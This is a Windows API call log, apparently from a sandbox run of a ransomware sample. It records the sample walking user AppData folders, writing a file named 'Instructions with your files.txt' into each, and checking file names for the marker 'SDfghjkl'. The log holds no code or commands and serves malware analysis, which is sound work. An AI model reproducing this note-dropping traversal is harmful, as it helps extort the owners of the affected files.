[0130.508] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP12\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp12\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.508] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.509] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.509] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.509] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.509] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.509] CloseHandle (hObject=0x118) returned 1
[0130.509] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.509] GetProcessHeap () returned 0x810000
[0130.509] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.509] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
[0130.509] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1") returned 65
[0130.509] GetProcessHeap () returned 0x810000
[0130.509] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.509] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*") returned 67
[0130.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.510] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\.") returned 67
[0130.510] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.510] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\..") returned 68
[0130.510] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.510] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\Instructions with your files.txt") returned 98
[0130.511] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP8_1\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp8_1\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.511] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.512] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.512] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.512] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.512] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.512] CloseHandle (hObject=0x118) returned 1
[0130.512] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.512] GetProcessHeap () returned 0x810000
[0130.512] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.512] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
[0130.512] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0") returned 65
[0130.512] GetProcessHeap () returned 0x810000
[0130.512] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.512] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*") returned 67
[0130.512] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.513] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\.") returned 67
[0130.513] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.513] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\..") returned 68
[0130.513] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.513] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\Instructions with your files.txt") returned 98
[0130.513] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\IMJP9_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\imjp9_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.513] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.514] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.514] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.514] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.514] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.514] CloseHandle (hObject=0x118) returned 1
[0130.514] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.514] GetProcessHeap () returned 0x810000
[0130.514] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.514] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
[0130.514] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer") returned 75
[0130.515] GetProcessHeap () returned 0x810000
[0130.515] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.515] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*") returned 77
[0130.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.515] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\.") returned 77
[0130.515] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.515] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\..") returned 78
[0130.515] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1
[0130.515] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak") returned 87
[0130.515] StrStrIW (lpFirst="brndlog.bak", lpSrch="SDfghjkl") returned 0x0
[0130.515] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d977900, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
[0130.515] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt") returned 87
[0130.515] StrStrIW (lpFirst="brndlog.txt", lpSrch="SDfghjkl") returned 0x0
[0130.515] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1
[0130.515] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore") returned 84
[0130.515] GetProcessHeap () returned 0x810000
[0130.515] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.515] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*") returned 86
[0130.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.516] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\.") returned 86
[0130.516] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.516] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.516] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\..") returned 87
[0130.516] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.516] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1
[0130.516] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3") returned 93
[0130.516] GetProcessHeap () returned 0x810000
[0130.516] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.517] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*") returned 95
[0130.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.517] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\.") returned 95
[0130.517] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.517] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.518] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\..") returned 96
[0130.518] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.518] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.518] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\Instructions with your files.txt") returned 126
[0130.518] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.518] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.519] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.519] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.519] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.519] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.519] CloseHandle (hObject=0x120) returned 1
